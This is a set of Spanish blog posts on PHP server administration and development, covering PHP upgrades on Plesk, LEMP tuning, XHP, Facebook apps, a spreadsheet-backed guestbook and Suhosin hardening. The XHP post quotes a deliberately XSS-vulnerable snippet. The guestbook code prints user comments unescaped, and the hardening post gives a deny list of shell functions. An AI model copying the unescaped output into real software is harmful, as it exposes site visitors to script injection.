En el caso particular en que me encontraba era con un Plesk 8.2.1 instalado en Etch (Debian 4.0) que alojaba varios websites que requerían una actualización de WordPress que mostraban el mensaje de la necesaria actualización a PHP 5.2.4. En la base de conocimiento de Parallels encontré como actualizar el PHP 4.4.4-8+etch6 que tiene por defecto dicha version a un más nuevo PHP 5.2.0-8+etch16, sin embargo aún no era suficiente y lo único que quedaba era instalar manualmente la version de PHP que necesitaba, pero dado que la 5.2.4 está también un poco antiguo y dado que igual es instalar esa que la más nueva, pues decidí ir por la estable más reciente 5.3.8.

Un problema inicial es que si algún paquete no lo tenías instalado en tu Etch debido a que es una versión abandonada en Debian, los repositorios oficiales no contendrán los paquetes de dicha distribución, así que para resolver este problema debes de cambiar tus repositiorios a estos:

#
#  /etc/apt/sources.list
#

#
# etch
#
deb     http://archive.debian.org/debian     etch main contrib non-free
deb-src http://archive.debian.org/debian     etch main contrib non-free

#
#  Security updates
#
deb     http://archive.debian.org/debian-security etch/updates  main contrib non-free
deb-src http://archive.debian.org/debian-security etch/updates  main contrib non-free

#
# Plesk repository
#
deb http://autoinstall.plesk.com/debian/PSA_8.2.1 etch all

Importante es que luego de que hayas editado tu archivo de sources (/etc/apt/sources.list) ejecutes un: apt-get update

Ahora, antes de compilar desde las fuentes debemos de instalar estos paquetes que son necesarios, recuerda hacerlo como root:

apt-get install build-essential
apt-get install re2c
apt-get install apache2-prefork-dev
apt-get install libmysql++-dev libmysqlclient15-dev
apt-get install libcurl3-dbg libcurl3-dev libcurl3-openssl-dev
apt-get install libgd2-xpm-dev
apt-get install libcurl3-openssl-dev libssl-dev
apt-get install libc-client2002edebian libc-client-dev

Cuando todos los paquetes han sido instalados (se cuidadoso de que ninguno reporte errores), podemos proceder a instalar manualmente nuesto PHP 5.3.8 de la siguiente manera, como usuario root:

cd /usr/src

wget http://www.php.net/get/php-5.3.8.tar.gz/from/us2.php.net/mirror

tar -zxvf php-5.3.8.tar.gz

cd php-5.3.8

./configure –with-apxs2=/usr/bin/apxs2 –with-mysql –with-curl –with-gd –with-openssl –with-imap –with-jpeg-dir –with-png-dir –with-xpm-dir –with-imap-ssl –with-kerberos –with-zlib

make

make install

/etc/init.d/apache2 restart

Luego de eso tenemos nuestro PHP actualizado en el veterano Plesk 8.2.1 corriendo sobre Etch. Lo único realmente complicado en llegar a encontrar todas las dependencias necesarias, pero como esto ya lo he hecho aquí, si se sigue este tutorial paso a paso debemos tener actualizado nuestro PHP en pocos minutos. Espero que este mini-howto les haya ayudado y que me sirva también a mi en el futuro si necesito hacerlo otra vez.

UPDATE: Un usuario me reportó que no podía accesar al webmail y encontré la solución a dicho problema en los Forums de Plesk. No llega a ser una solución completa, es más un arreglo rápido que consiste en editar el archivo "/etc/apache2/conf.d/zz010_psa_httpd.conf" y reemplazar todos las ocurrencias del string:

php_admin_value include_path "/usr/share/psa-horde:/usr/share/psa-horde/pear:."

por el string:

php_admin_value include_path "/usr/share/psa-horde/lib:/usr/share/psa-horde:/usr/share/psa-horde/pear:."

Posteriormente reiniciar el apache: /etc/init.d/apache2 restart

Luego de haber hecho la migración de LAMP a LEMP, que ha permitido a este blog escalar mucho mejor y usar más eficientemente los recursos que tiene he caído en la cuenta que todos los componente que he usado para optimizar el blog (exceptuando oviamente al propio WordPress), tienen su origen fuera de los Estados Unidos. Coincidentemente todos ellos vienen de una región en particular el Báltico, los países que forman parte de esta region son  Suecia, Finlandia, Rusia, Estonia, Letonia, Lituania, Polonia, Alemania y Dinamarca.

Demos un repaso a todos los componentes que existen en LEMP (Linux, Nginx, MySQL, PHP) y los componentes extras usados para optimizar como APC, PHP-FPM y Varnish:

Linux: El kernel desarrollado por Linus Torvalds mientras estudiaba en la Universidad de Helsinki (Finlandia), aunque ahora tiene miles de colaboradores de todas partes del mundo y la gran mayoría está en los Estados Unidos, tiene su origen primigenio en Finlandia.

Nginx: El pequeño y ágil servidor web creado por Igor Sysoev, tiene su origen en un ISP ruso que es otro de los países que forman parte de la región del Báltico.

MySQL: Creado por la empresa Sueca MySQL AB, que fuera fundada por Michael Widenius y David Axmark en 1995. Aunque ahora pertenece a la multinacional estadounidense Oracle luego de que esta comprara a Sun Microsystem, que había adquirido por mil millones de dólares a MySQL AB. Pero el origen de la base de datos más popular en aplicaciones web es sueco.

PHP: Diseñado en 1995 por Rasmus Lerdorf, un programador de origen danés, aunque ahora tiene nacionalidad canadiense es otro componente fundamental del stack LEMP que tiene sus orígenes en el Báltico. Aunque ahora PHP ha evolucionado al igual que todos los demás componentes descritos aquí, es claro que la idea y desarrollo original ocurrió fuera de los Estados Unidos.

APC: Es un compilador-cache de códdigo PHP desarrollado por la misma gente que está detras de PHP, incluyendo a Rasmus Lerdorf.

PHP-FPM: Es un servidor que procesa llamadas FastCGI de un servidor web. Creado originalmente por Andrei Nigmatulin, un programador ruso que necesitaba una forma confiable de correr scripts PHP en modo CGI.

Varnish: Que es un proxy-inverso/cache diseñado desde el principio como un acelerador de websites con contenido dinámico tiene un origen noguero (fue desarrollado para un periódico noruego). Varnish fue creado por Poul-Henning Kamp, un muy conocido desarrollador de FreeBSD que es de origen danés. Es decir la emrpesa para la que se desarrollo el proyecto era de Noruega, pero el programador que lo creo es de Dinamarca, otro país de la región del Báltico.

Así que si tenemos que adivinar de donde vendrá el siguiente producto revolucionario, pues sería una apuesta segura buscarlo en el Báltico y no necesariamente a Silicon Valley.

Durante mucho tiempo la escalabilidad del blog era un problema que me tenía preocupado, siempre temía que por alguna razón un post llegara a ser popular y miles de visitantes saturen el server y lo traingan al piso. Algo que no ha pasado, pero que muchos calificarían como un problema que les gustaría tener. Por ello durante estos últimos años ensayé varias posibles soluciones, evalué moverlo a Blogger (pero era muy limitado, igual en los picos Blogger te limitaba el tráfico), probé con la optimización del Apache, del MySQL, instalé el eAccelerator para compilar-cachear los scripts de PHP, hice pruebas de varios plugins de cacheo para WordPress y finalmente me quedé con W3 Total Cache y lógicamente cada mejora implicaba hacer benchmarking del site con las herramientas que describí en el post "Midiendo la performance de un website". Sin embargo nada de eso parecía resolver el problema de que si más visitantes llegaban era necesario disponer de más RAM y más CPU. Es decir la escalabilidad se conseguía sólo a través de poner más hardware (en el caso de los VPS hacer un pago extra para poder acceder a más recursos). Pero desde el 2009 el nombre Nginx ya era comentado entre la cofradía de sysadmin y muchos ISP lo usaban para hostear websites, pero tenía un pequeño incoveniente, sólo soportaba PHP a través de FastCGI y usar PHP de esta manera requería de spawn-fcgi y lamentablemente existía un problema de confiabilidad (se caía muy frecuentemente).

El problema de spawn-fcgi era tan serio que Andrei Nigmatulin creo PHP-FPM como un parche al código de PHP para permitirle operar de manera confiable sin tener que depender de spawn-fcgi. Lo cual era una solución pero requería parchar el código de PHP, esto era desde mi punto de vista poco confiable porque no tenía la certeza de que el proyecto podría tener larga vida, especialmente luego de que su creador declarara públicamente que no podía darle soporte por más tiempo. Pero desde noviembre del año pasado el código de PHP-FPM pasó a formar parte del core de PHP, con lo cual ya se podía usar de manera confiable en producción porque la continuidad estaba garantizada por la propia continuidad de PHP.

Finalmente animado por todos los buenos comentarios de Nginx y de PHP-FPM, decidí probarlos. Debo decir que no me ha decepcionado, el uso de CPU y RAM fue casi plano independientemente de la carga que se le ponga al server, pero el sólo hecho de reemplazar LAMP con LEMP no mejora la velocidad con la que se muestran las páginas de WordPress. Después de todo tenía mi LAMP optimizado para mi WordPress y lo estaba comparado contra un LEMP de paquete. Así que era necesario nivelar el piso a través de la optimización de LEMP.

La primera y obvia mejora era usar un compilador-cache para PHP, había usado eAccelerator en LAMP y me ha funcionado bien, pero en todas las páginas que encontré todas mencionaban a APC (las dos razones más citadas son que es parte de los repositorios PEAR y que Facebook lo usa), así que decidí seguir a la mayoría e instale APC. La compilación y cacheo de los scripts definitivamente mejoró la velocidad de rederizado de las páginas pero aún se podía optmizar un poco más. Así que instalé memcache (para reducir el número de queries a MySQL) y habilité el soporte de memcache en WordPress, lo cuál le dio un boost adicional a la carga de las páginas.

Pero moviendome de tutorial en tutorial encontré a Varnish, un proxy inverso que hace cacheo de contenido estático, es decir guarda en disco/memoria las páginas generadas dinámicamente por WordPress para no tener que volver a ejecutar un script si la página ya está cacheada y eso fue la cereza sobre el pastel, no solamente las páginas cargaban más rápido sino que el uso de CPU y memoria se fueron al piso. Como resultado reduje la RAM del VPS de 1GB a 512MB con el ahorro que se deriva de ello, pero me he dado cuenta de que incluso con 256MB el VPS va bien. Pero de momento no tomaré riesgos y veré que tal va durante el próximo mes con 512MB, si veo que no hay picos y todo opera normalmente bajaré la memoria a 256MB.

Si deseran hacer lo mismo les recomiendo este howto de CryptkCoding que sintetiza varios otros que he visto en la red y funciona para Ubuntu, aunque con pequeños cambios tambien es útil para Debian. Si es que me doy un tiempo preparé uno en español específicamente para Debian y lo publicaré en la sección de Tutoriales y Howtos.

Como prueba de los increíblemente lineal de la mezcla LEMP + APC + memcache + Varnish, aquí les dejo una gráfica de Load Impact de un stress test a este blog y como el tiempo de carga es independiente del número de clientes conectados concurrentemente:

Aquí el resultado de una prueba con Apache Benchmarking (ab) desde otro server en el mismo switch (10,000 solicitudes con 100 clientes concurrentes), el benchmarking arroja la sorprendente velocidad de casi 3000 solicitudes por segundo:

Uno de los atractivos de PHP Fog es que permite correr populares aplicaciones PHP como WordPress, Drupal, Joomla o SugarCRM, así como también se puede elegir entre diversos framworks si deseamos construit algo por nuestra cuenta, estos por ahora son CakePHP, Shopify API, Zend Framwork y CodeIgniter, finalmente si deseamos sólo hostear código PHP existe la opción Custom App.

Actualmente el servicio cuenta con alrededor de  20,000 usuarios y parece bastante rápido al menos a nivel de control panel. He intentado crear una app con dominio propio y ellos requieren delegar los DNS a sus servidores DNS: ns1.phpfog.com, ns2.phpfog.com, ns3.phpfog.com; Sin embargo me he dado cuenta de que incluso luego de que el control panel dice que la aplicación esta activada, debido a que sus DNS no se refrescan frecuentemente no se puede acceder a la aplicación durante las primeras 2 horas.

La forma como se publican las aplicaciones es a través de la herramienta de control de versiones git, es decir se desarrolla localmente en su PC, luego usted "publica" sus cambios en el repositorio, esta aproximación es muy buena ya que permite a más de un desarrollador trabajar en una misma aplicación sin dañar el trabajo de otro. Para los que deseen un breve tutorial con un resumen de los comandos básicos para usar este software de control de versiones pueden visitar la documentación oficial en kernel.org.

UPDATE: PHPFog ha mejorado la forma de redireccionar dominios propios y lo ha documentado muy bien aquí. He levantado una aplicación de prueba que usa el dominio phpfog.cix.pe.

Por otro lado una de las características que me parecieron interesantes del proyecto fue que utilizara MongoDB, un sistema de base de datos noSQL que tiene muchas de las características que los sistemas RDBMS. Como sabrán los que siguen este blog regularmente el framework PHP que yo creo más características ofrece y que trato de promover es CodeIgniter, tanto por su sencillez y rapidez. Por lo tanto me puse a buscar una librería que añadiera el manejo de MongoDB a este framework y la encontré en un proyecto hospedado en bitbucket llamado CodeIgniter Mongo Library. Aún es un trabajo en desarrollo y su autor Alex Biblie reconoce que aún hay varias cosas que mejorar.

Hasta aquí me parecía todo claro, usar CodeIgniter con esta librería para proveer una alternativa en Diaspora en PHP, pero hay un detalle necesario en el proceso de desarrollo que es la posibilidad de administrar, es decir crear/modificar/borrar tablas y registros de la base de datos de forma sencilla, buscaba algo parecido al PHPMyAdmin, es así como encontré PHPMoAdmin.

PHPMoAdmin, permite administrar una base de datos MongoDB de forma tan sencilla lo interesante de este proyecto es que dice que esta basado en un framwork PHP de alta-perfomance llamado Vork, nunca lo había escuchado y despertó mi curiosidad averiguar que tenía para ofrecer este framework PHP.

Lo primero que descubrí de Vork es que es un framwork que sigue la filosofía VMC, que está basado en PHP 5.0 o superiores, que soporta en su versión más basica como base de datos a MySQL, MongoDB y Amazon RDS, aunque puede trabajar añadiendo las librerias apropiadas con cualquier DB. Permite además importar módulos de otros framworks PHP como CodeIgniter, CakePHP o Zend. Además de entre sus muchas extensiones disponibles estan las que permiten integración con Google Maps, Charts, Analytics, Sitemap, Checkout y Translation, algo que es muy difícil de encontrar en los frameworks PHP.

Leer estas características fabulosas me animaron a probarlo y debo decir que estoy gratamente sorprendido, es rápido como afirman en su documentación y además es tan sencillo de usar como CodeIgniter, es más podríamos decir que es un CodeIgniter mejorado. Aclaro que no lo he podido usar extensamente pero por lo pronto puedo decir que estoy gratamente sorprendido por este framework y planeo usarlo en mis futuros proyectos, ya les daré más detalles conforme vaya familiarizandome con el mismo.

Esto es interesante ya que demuestra que por un lado PHP ha evolucionado hasta alcanzar un nivel "empresarial", que hace apenas unos 3 años no gozaba, además prueba de que efectivamente no hay una contradicción entre un modelo de desarrollo Open Source (ojo no confundir con Free Software que es más restrictivo) y hacer dinero con un proyecto de esta naturaleza. Decir que no se podía desarrollar un modelo de desarrollo comercial de software basado en herramientas Open Source fue uno de los puntos "fuertes" de la estrategia de Microsoft para tratar de frenar la gran migración de desarrolladores que ha ocurrido en favor de alternativas libres como PHP, Python o Ruby; como ha quedado plenamente demostrado por la propia Microsoft tal contradicción nunca ha existido.

Ayer también Apple terminó por aprobar una aplicación que implementa el servicio de VoIP Google Voice, luego de 16 meses de espera este servicio gratuito de Google está por fin disponible en iTunes, según me enteré por TechCrunch. La conclusión que puedo sacar de todo esto es que estamos ante una nueva era de integración y aquellos que eligen el camino de cerrar sus plataformas sencillamente tienen sus días contados. Por otro lado espero que pronto Google atendiendo el clamor popular de los desarrolladores termine por incluir PHP como uno de los leguajes soportados en Google App Engine.

Buscando encontré en el blog "farinspace web" una librería de PHP que permite manipular fácilmente hojas de cálculo de Google Docs, el nombre es Google_Spreadsheet, aunque no es muy imaginativo refleja claramente su finalidad. Luego se me ocurrió usarlo para una aplicación de ejemplo el clásico guessbook, pero eso requeriría la administración de login y perfiles, entonces se me ocurrió mezclarlo (hacer un mushup) con Facebook Connect. De esa forma la administración de la identidad se hace con el Facebook Connect y el registro de los comentarios se haría usando Google SpreadSheet. En pocas palabras lo único que se tiene localmente es el programa, todo los datos estarían en la red.

He preparado un pequeño server virtual con el ejemplo, que puede ser accedido en este URL. El código listo para desempaquetar y usar puede ser descargado desde este otro URL. Lo único que necesita hacer para probarlo es decargarlo en un server con soporte de PHP 5.2 o superior, tener una cuenta en Google Docs y registrar su aplicación en Facebook (más detalles sobre como registrar una aplicación en Facebook pueden ser contradas aquí). Con las credenciales del caso debe editar el archivo "config.php" de la siguiente manera:

<?

  $api_key  = "abcdefghijklmnopqrstuv0987654321"; <- API Key de Facebook
  $secret   = "1234567890abcdefghijklmnopqrstuv"; <- Secret word de FB
  $username = "user@gmail.com";             <- Usuario Google Docs
  $password = "123456";                      <- Password usuario Google Docs

?>

Con esos sencillos cambios debería de funcionar el script que pongo a disposición. Ojo esto es una prueba de concepto, no está cuidada la estética, y todo el código son dos scripts PHP monolíticos. Es decir este script tiene propósito educativo y no recomiendo su uso en entornos de producción.

Los detalles sobre Facebook Connect pueden ser revisados en la wiki de Facebook, por simplicidad en este post me limitaré a enfocarme en el uso de la librería Google Spreadsheet, en caso de que alguien esté interesado en un tutorial detallado sobre Facebook Connect, pues haganmelo saber en los comentarios, si veo que hay suficiente interés dedicaré un tiempo a escribir uno.

A revisar entonces el código de "index.php" que nos permite leer datos desde una hoja de cálculo de Google Docs.

En esta parte inicializamos el objeto $ss (spreadsheet), e indicamos que deseamos usar la hoja de cálculo "comentarios" y la página "Sheet1", es importante tener presente que los nombres son case-sensitive:

(…)
    $ss = new Google_Spreadsheet($username,$password);
    $ss->useSpreadsheet("comentarios");
    $ss->useWorksheet("Sheet1");
(…)

En esta parte asignamos a la variable $rows, todas las filas que tengan un campo "id" mayor que cero, dado que usaremos la función time() para general el campo "id", este es un número entero mayor que cero siempre. Luego con la función sizeof() obtenemos el número de filas que han sido leídas y usaremos la variable $start para acceder a ellos desde el último insertado:

(…)
    $rows = $ss->getRows("id>0");
    $size = sizeof($rows);
    $start = $size – 1;
    $count = 0;
(…)

Usamos el bucle while() para leer los diez últimos elementos del array que la función getRows() nos provee y los representamos a través de una tabla:

(…)
    echo '<hr>Diez &uacute;ltimos comentarios:<br /><br />';
    echo '<table>';
    while(($start>=0) && ($count<10)) {
         $row = $rows[$start];
        
         $nombre = $row[‘nombre’];
         $apellido = $row[‘apellido’];
         $avatar = $row[‘avatar’];
         $comment = $row[‘comment’];
         echo '<tr><td valign="top">' . '<img src="' . $avatar . '"><br />' . $nombre . '<br />' . $apellido . '<br /></td>';
         echo '<td valign="top" width="300">' . $comment . '</td></tr>';
          –$start;
          ++$count;
    }
    echo '</table>';
(…)

Como veran el algoritomo es bastante sencillo y sólo nos muestra los últimos 10 comentarios dejados en el guessbook. Ahora si queremos dejar comentarios debemos estar logueados, para ello se debe disponer de una cuenta válida en Facebook.

El script que agrega una fila a la hoja de cálculo de Facebook se llama "addrow.php" y para asegurarnos de que no puede ser usado directamente por alguien, lo primero que hace dicho script es ver si el usuario está logueado en Facebook, de estarlo lee los siguientes datos de su perfil: $nombre, $apellido, $avatar (la foto). Si no está logueado es redirigido a "index.php".

Finalmente si el usuario esta logueado y ha enviado un comentario, entonces el siguiente código se ejecuta:

(…)
      $ss = new Google_Spreadsheet($username,$password);
      $ss->useSpreadsheet("comentarios");
      $row = array (
                  "id" => time(),
                  "nombre" => $nombre,
                  "apellido" => $apellido,
                  "avatar" => $avatar,
                  "comment" => $comment
             );

      if ($ss->addRow($row)) {
         /* Si se puede agregar la fila exitosamente regresa a la pagina principal */
         $url = 'http://' . $_SERVER[‘SERVER_NAME’] . "/index.php";
         header("Location: $url") ;
      } else {
         /* Si se produce un error, nos alerta del mismo */
         echo "Error, lo sentimos pero su comentario no ha podido ser grabado.n";
      }     
(…)

Es decir creamos un objeto $ss, especificamos con que hoja de cálculo deseamos trabajar con la función userSpreadsheet() y con la función addRow() podemos escribir el contenido del array $row en la hoja de cálculo llamada "comentarios", de ser exitosa dicha operación somos redirigidos a "index.php", caso contrario se nos presenta un mensaje de error para darnos a saber de que por alguna razón el registro no pudo ser grabado en la hoja de cálculo.

Este tipo de solución es útil por ejemplo si deseamos utilizar Google App Engine con PHP. Como comenté el año pasado es posible usar PHP en App Engine a través del servlet Quercus. Sin embargo no se puede acceder directamente a BigTable desde una aplicación PHP implementada de esta manera, pero la libreria "Google SpreadSheet", debería de funcionar sin problemas en Quercus. Existen varias otros posibles escenarios en donde este tipo de soluciones serían utiles como por ejemplo hosting gratuitos o sencillamente formularios web que llenan directamente una hoja de cálculo que luego puede ser compartida por los empleados de la compañía.

Si alguien utiliza este tipo de solución en algún proyecto le agradecería que nos lo haga saber en los comentarios.

¿Qué es XHP?, pues bien XHP es una extensión de PHP que valga la redundancia extiende la sintaxis del lenguaje para hacer la elaboración de front-end más fácil de leer y además incrementar la seguridad. Para conseguir dicho fin hace que PHP pueda entender XML de manera nativa.

La aplicación que Facebook le está dando a XHP es Facebook Lite, una versión mucho más ligera de la web de Facebook. Aunque su autor Marcel Laverdet, dice que es usado además para renderizar varias partes de la web de Facebook, ya que permite combinar porciones de código HTML en un simple nuevo objeto, con todas las ventajas que ello representa.

Pero veamos un ejemplo de cómo la sintaxis de PHP ha cambiado con XHP, usaremos el ejemplo que Facebook da:

<?php
if ($_POST[‘name’]) {
?>
    <span>Hello, <?=$_POST[‘name’]?>.</span>
<?php
} else {
?>
    <form method="post">
    What is your name?<br>
    <input type="text" name="name">
    <input type="submit">
    </form>
<?php
}

En el código anterior pueden presentarse dos problemas, el primero y más obvio es que seremos víctimas de XSS; el segundo problema es que si olvidamos abrir o cerrar los tag PHP, nustra página generaría un error. Con XHP ambos problemas se resuelven, aquí el mismo código anterior pero implementado con XHP:

<?php
// note: includes omitted
if ($_POST[‘name’]) {
  echo <span>Hello, {$_POST[‘name’]}</span>;
} else {
  echo
    <form method="post">
      What is your name?<br />
      <input type="text" name="name" />
      <input type="submit" />
    </form>;
}

Note que ahora todo es un simple block de código PHP, no hay que estar abriendo y cerrando tags PHP. Este cambio en la sintaxis del lenguaje trae consigo algunas ventajas:

•  Debido a PHP es ahora context-specific, sabe que cuando la variable $_POST es invocada la entrada de datos será HTML y por lo tanto debe escapar los caracteres.
•  Incorporar XML dentro de la sintaxis PHP permite detectar errores de con los marcadores (markup) en tiempo de parseo y no en tiempo de ejecución. Con lo que no podría existir una página web generada con scripts de XHP malformada.
• Ya que XML ahora forma parte del lenguaje, en adición a su uso con "echo", también es posible asignarlos a una variable y manipularlos como un objeto cualquiera.
• Adicionalmente XHP permite definir nuevos tags, con lo que complejas secciones de código HTML, pueden ser ahora definidas como un nuevo marcador, desempleñando de hecho el XHP el papel de un sistema de templates.

Debido a que todas estas ventajas me han interesado decidí probarlo y les dejo un pequeño tutorial de cómo intalar XHP en su server. Lo he probado con CodeIgniter y al parecer XHP no añade ninguna incompatiblidad que impida usarlo en un server donde ya tengamos código PHP. Aquí les dejo como instalar XHP en un server Debian Lenny (esto puede ser usado también para Ubuntu pero recordando usar el  "sudo").

Primero hay que asegurarnos que tenemos instaladas todas las herramientas para compilar XHP:

# apt-get install build-essential flex bisson php5-dev

Ahora descargamos las fuentes y descomprimimos el archivo:

# cd /tmp
# wget http://github.com/facebook/xhp/tarball/1.3.7
# cd /usr/src
# tar -zxvf facebook-xhp-290b185.tar.gz
# cd /usr/src/facebook-xhp-290b185

Ahora comenzamos el proceso de compilación:

# phpize
Configuring for:
PHP Api Version:         20041225
Zend Module Api No:      20060613
Zend Extension Api No:   220060519

# make install
(…)

Los parentesis (…) indican que verán algunos mensajes, donde he sido específico es en donde muestro algún resultado útil para saber si vamos bien o no. Las líneas en azul son las que Ud. debe tipear (claro omitiendo el prompt ‘#’).

Luego debemos de agregar al archivo de configuración php.ini la línea "extension=xhp.so", en Debian hay dos archivos que modificar:

/etc/php5/apache2/php.ini
/etc/php5/cli/php.ini

El primero es para agregar la extensión dentro del PHP incorporado como módulo de Apache y el segundo para hacer el cambio en PHP cuando se usa como CGI.

Más información sobre el proyecto, la nueva sitaxis que se ha agregado y como resolver algunos errores comunes, pueden encontrarse en la wiki de XHP.

Programar aplicaciones para Facebook es sencillo, la documentación que provee dicha red social en su sección para desarrolladores es clara. Sin embargo embarcarnos un proyecto que sea un poco más complejo que un simple juego flash sin el uso de un framework puede resultar una experiencia bastante desagradable. En teoría dado que usamos PHP para desarrollar las aplicaciones, cualquier framework para este lenguaje como CakePHP, CodeIgniter o Zend Framework debería ser de utilidad, sin embargo aquellos que siguen este blog sabrán que soy un fan de CodeIgniter y por lo tanto es que me interesé en como hacer funcionar CodeIgniter con el API de Facebook.

Debo confesar que encontrar la información no fue fácil, la mayor parte de ella no esta actualizada y en muchos casos la información se encuentra segmentada entre diversas páginas web. Las dos páginas sobre las que me basé para desarrollar una aplicación de prueba han sido estas:

Facebook & CodeIgniter – Definitive Guide
Facebook Connect CodeIgniter Library

La aplicación de prueba que he desarrollado consiste en una simple página de bienvenida que muestra su nombre, la fotografía que utiliza como avatar en Facebook y los avatares de sus cinco primeros contactos. El resultado final puede ser probado (si tiene una cuenta en facebook) desde el siguiente URL:

http://apps.facebook.com/mycifbapp/

El código completo de la aplicación ejemplo puede ser descargado en formato zip haciendo click aquí.

Solo debe descomprimirlo y editar el archivo ./myfbapp/system/application/config/constants.php y editar estas líneas:

define(‘FB_API_KEY’, ‘1234567890abcdef1234567890abcdef’);
define(‘FB_SECRET’,  ‘1234567890abcdef1234567890abcdef’);
define(‘APPLICATION_URL’, ‘http://apps.facebook.com/mi_applicacion/’);

Debe reemplazar los valores apropiados que obtendrá luego de registrar su aplicación en Facebook.

Para poder usar este ejemplo Ud. necesita:

• Un servidor web accesible desde Internet.
• Soporte para PHP 5.2 (al menos).

Espero que éste ejemplo les ayude a iniciar el desarrollo de sus propias aplicaciones Facebook, a la vez que espero sus comentarios para poder mejorar o aclarar algún aspecto que no haya quedado claro.

Después de haber estado en el mercado por más de 10 años (su release como estable fue el 22 de mayo del 2000), el lenguaje que potencia la mayor cantidad de aplicaciones web, continúa su evolución. Hay que recordar que aunque PHP5 es el actual estable, la comunidad PHP sigue activamente trabajando en la siguiente versión PHP6 que estará completamente orientada a objetos, y espero que pronto la veremos lista para el gran público.

Tal vez una de las aplicación populares que ha ofrecido mayor resistencia al cambio a PHP5 ha sido OsCommerce, aunque ya podemos ver que anda en su OsCommerce 3.0 Alpha 4, y tal vez en unos meses más tendremos una versión estable del popular programa de sitios de comercio electrónico, la verdad es que aquellos que no migren sus aplicaciones a PHP5, perderán por completo el soporte del lenguaje y tendrán que parcharlo por ellos mismos.

Si tiene que migrar su aplicación web a PHP5, hágalo usando un framework que le ahorre el trabajo, y como siempre he dicho mi candidato número uno para el desarrollo rápido de aplicaciones web es CodeIgniter.

Por eso me preguntaba si PHP es un buen lenguaje de programación. Es más en muchas universidades es ignorado y se prefieren para la curricula lenguajes como Java, Python, Ruby o C++. Yo uso PHP y me parece un buen lenguaje de programación, pero he visto que muchos lo critican por ser un lenguaje que no tiene una unidad, otros alegan que es muy difícil de aprender, y hay hasta quienes dicen que el código hecho con PHP es extremadamente difícil de mantener.

Si todas las criticas anteriores son ciertas porque la mayor cantidad de aplicaciones web que son Open Source estan basadas en PHP. Acaso Drupal, Mambo, Joomla, WordPress, SugarCRM o MedikiaWiki han sido abandonados porque no se les puede dar mantenimiento, o porque no se les puede escalar. ¿Hasta que punto PHP es considerado menos con la comunidad académica sólo por ser muy popular?.

He encontrado una página web en donde se discuten las fortalezas y debilidades de PHP, se llama On PHP y alli se puede encontrar comentarios tanto a favor como en contra de PHP, uno de los que más me llamo la atención se titula "Un martillo puede ser usado para hacer una bella escultura, o una horrible casa de pajaros", y básicamente esboza la perspectiva de que no es la herramienta la que hace la aplicación útil o no; sino el programador. Un mal programador no hara una buen aplicación así él use el lenguaje de programación perfecto y un buen programador escribirá una buen aplicación así use el peor lenguaje que exista.

Ciertamente PHP es muy fácil de usar y aprender, en contra de lo que opinen los "expertos", la base de usuarios de PHP excede en al menos un orden de magnitud a su más cercano perseguidor, el problema es que con tanto programador amateur la calidad del código producido dejará mucho que desear, aunque como todo en el mundo Open Source mejorará con el tiempo.

En el actual entorno LAMP/WAMP, ciertamente PHP es un leguaje que se debe conocer para poder competir en el actual entorno server-centrico de Internet, sin embargo debido a que Internet no es un medio estático, ésto puede cambiar debido a las tecnologías que dan soporte al web, conforme la web migre de un entorno basado en servidores (server-centrico) a un entorno basado en cloud computing, los lenguajes de programación usados para desarrollar aplicaciones web, ciertamente cambiaran y dado al decidido apoyo de Google hacia Python, ciertamente este es el siguiente lenguaje que se debe aprender. Aunque como el futuro es impredescible, quien sabe a lo mejor Amazon, o cualquier otro gran actor (IBM, Sun, etc) de las TIC ofrece una arquitectura de nube que usa PHP como lenguaje y extiende el dominio de éste lenguaje una década más. El futuro es impredescible y para estar preparados para él es mejor apostarle a todos los caballos.

Si se usa un hosting compartido, es una muy buena idea instalar Suhosin, porque jamas uno puede estar seguro del código de un cliente que paga por hosting casi nada, y que le resulta extremadamente fácil saltar de un hosting a otro debido a la tremenda oferta existente. Debido a ello no le presta mucha atención a la seguridad de su código.

Adicionalmente a instalar Suhosin, una muy buena medida complementaria es deshabilitar la función eval() de PHP que abre las puertas a que cualquiera que consiga inyectar código en un script PHP puede ejecutar código PHP arbitrário sobre el server. Muchas veces themes o plugins de Joomla, Mambo o WordPress, traen troyanos ocultos por una función base64_decode(), que es luego ejecutada por eval(), hable sobre ello en diciembre del año pasado en un post de éste blog llamado "Troyanos en themes de WordPress", pero parece que la técnica se ha vuelto tan popular para ocultar troyanos que es aplicada en todo script que pretende infectar un webserver.

Entonces para evitar problemas debemos instalar Suhosin y deshabilitar eval(), de esa forma si alguien tiene un site infectado nos llamara para reportar que "el server tiene un error", porque su página no se ve bien. Para conseguir el objetivo anterior debemos de hacer éstos simple pasos en nuestro Debian (en Ubuntu sólo añadir sudo delante de cada comando):

# apt-get install php5-suhosin
# echo "suhosin.executor.disable_eval=On" >> /etc/php5/apache2/php.ini
# /etc/init.d/apache2 force-reload

Y listo, ya tenemos a nuestro servidor un poquito más protegido que antes, ahora al menos los troyanos no se ejecutaran tan fácilmente, los forzamos a ser más visibles. Complementariamente siempre es buena idea deshabilitar las fuciones que permiten ejecutar comandos del sistema con los privilegios del usuario del webserver (en Debian www-data), para ello edite el archivo /etc/php5/apache2/php.ini busque la línea que diga "disable_functions" y agregue la lista de funciones shell que desea deshabilitar separadas por comas, una buena idea es poner éstos valores:

disable_functions = exec, system, escapeshellcmd

No hay que olvidar reiniciar el apache, para que los cambios en el php.ini tengan efecto. Espero que toda esta información les haya sido de utilidad y los ayude a proteger sus servidores web.

En el portal de noticias de tecnologías de la información de Australia ITNews, informa sobre el esfuerzo que esta haciendo la comunidad de PHP para optimizarlo para la futura versión de Windows Server 2008.

Los especialistas en lenguaje PHP de Zend Technologies, estan trabajando intensamente para que PHP pueda trabajar en Windows tan bien cómo en Linux/Unix. El Zend Core que apoya comercialmente a PHP ha sido certificado por Microsoft para correr "con el rendimiento y la estabilidad" en Windows Server 2008, dijo Andi Gutmans, co-fundador y CTO de Zend. Esto significa que ha pasado más de 100 pruebas de compatibilidad, además de colaborar estrechamente en ciertas tecnologías de Microsoft.

Por ejemplo, el componente Zend FastCGI trabajo bien con el servidor web de Microsoft IIS (Internet Information Server), para hacer que FastCGI cree y gestione de manera eficiente las aplicaciones PHP. El servidor web IIS está ahora integrado en Windows 2008, y la implementación del PHP a través del FastCGI ha trabajado sin problemas, dijo Gutmans, en una entrevista.

